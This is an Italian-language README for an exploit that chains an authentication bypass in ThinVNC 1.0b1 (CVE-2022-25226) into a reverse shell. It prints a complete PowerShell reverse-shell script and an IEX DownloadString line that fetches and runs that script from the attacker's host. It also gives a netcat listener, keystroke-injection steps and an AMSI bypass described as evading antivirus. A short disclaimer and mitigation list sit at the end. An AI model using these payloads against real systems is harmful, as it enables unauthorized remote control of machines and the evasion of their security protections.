ThinVNC 1.0b1 - Bypass dell'autenticazione per esecuzione remota di codice (CVE-2022-25226)

Autore: krill-x7
Riferimento: https://fluidattacks.com/advisories/sinatra

Panoramica

ThinVNC 1.0b1 contiene una vulnerabilità di bypass dell'autenticazione (CVE-2022-25226) che consente a malintenzionati remoti di interagire con il backend senza autenticazione. Sfruttando gli endpoint /cmd esposti, gli aggressori possono simulare sequenze di tasti, aprire PowerShell, bypassare AMSI ed eseguire comandi arbitrari, portando infine all'esecuzione remota di codice (RCE).

Questo script combina queste primitive per ottenere una shell inversa sul sistema target.

Disclaimer

Questo codice viene fornito solo a scopo educativo.
Usalo esclusivamente su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test.

Requisiti

• Python 3
• Script di shell inversa rev.ps1 ospitato sul tuo computer attaccante
• Un listener (es. Netcat) per ricevere la shell

Utilizzo

python3 thinvnc_rce.py -t <IP_TARGET> -tp <PORTA_TARGET> -a <IP_ATTACCANTE> -ap <PORTA_ATTACCANTE>

Esempio

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

Configurazione del Payload

1. Crea rev.ps1

Salva questo contenuto in un file chiamato rev.ps1.
Importante: Sostituisci 192.168.1.200 e 8000 con l'IP e la porta di ascolto del tuo computer attaccante.

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. Ospita rev.ps1

Dalla stessa directory:

python3 -m http.server 8000

3. Avvia un Listener

nc -lvnp 8000

Flusso dell'Exploit

1. Ottieni un SID valido tramite una richiesta non autenticata a /cmd?cmd=connect.
2. Avvia quel SID con accesso a tastiera/mouse tramite /cmd?cmd=start.
3. Invia la combinazione di tasti Ctrl+Esc per aprire il menu Start.
4. Avvia PowerShell in modalità bypass.
5. Bypassa AMSI per disabilitare le protezioni di PowerShell.
6. Esegui il payload di shell inversa dal tuo server HTTP.

Esecuzione del Payload

Questo è il payload che viene eseguito in memoria:

IEX((New-Object System.Net.WebClient).DownloadString('http://<IP_ATTACCANTE>:<PORTA>/rev.ps1'))

Sostituisci <IP_ATTACCANTE> e <PORTA> con il tuo IP e porta reali.

Note

• Il payload viene eseguito tramite iniezione di comandi basata sugli appunti.
• Il bypass di AMSI è incluso per eludere le rilevazioni antivirus basate su PowerShell.
• ThinVNC esegue PowerShell con i permessi utente predefiniti: se in esecuzione come amministratore, la shell sarà elevata.

Mitigazioni

• Non esporre ThinVNC su Internet.
• Blocca l'endpoint /cmd tramite configurazione del server web o WAF.
• Passa ad alternative sicure e supportate (es. Apache Guacamole).
• Monitora l'uso di PowerShell e il comportamento di iniezione negli appunti.

Crediti

• Exploit e automazione: krill-x7
• Scoperta della vulnerabilità e advisory: Fluid Attacks – Advisory Sinatra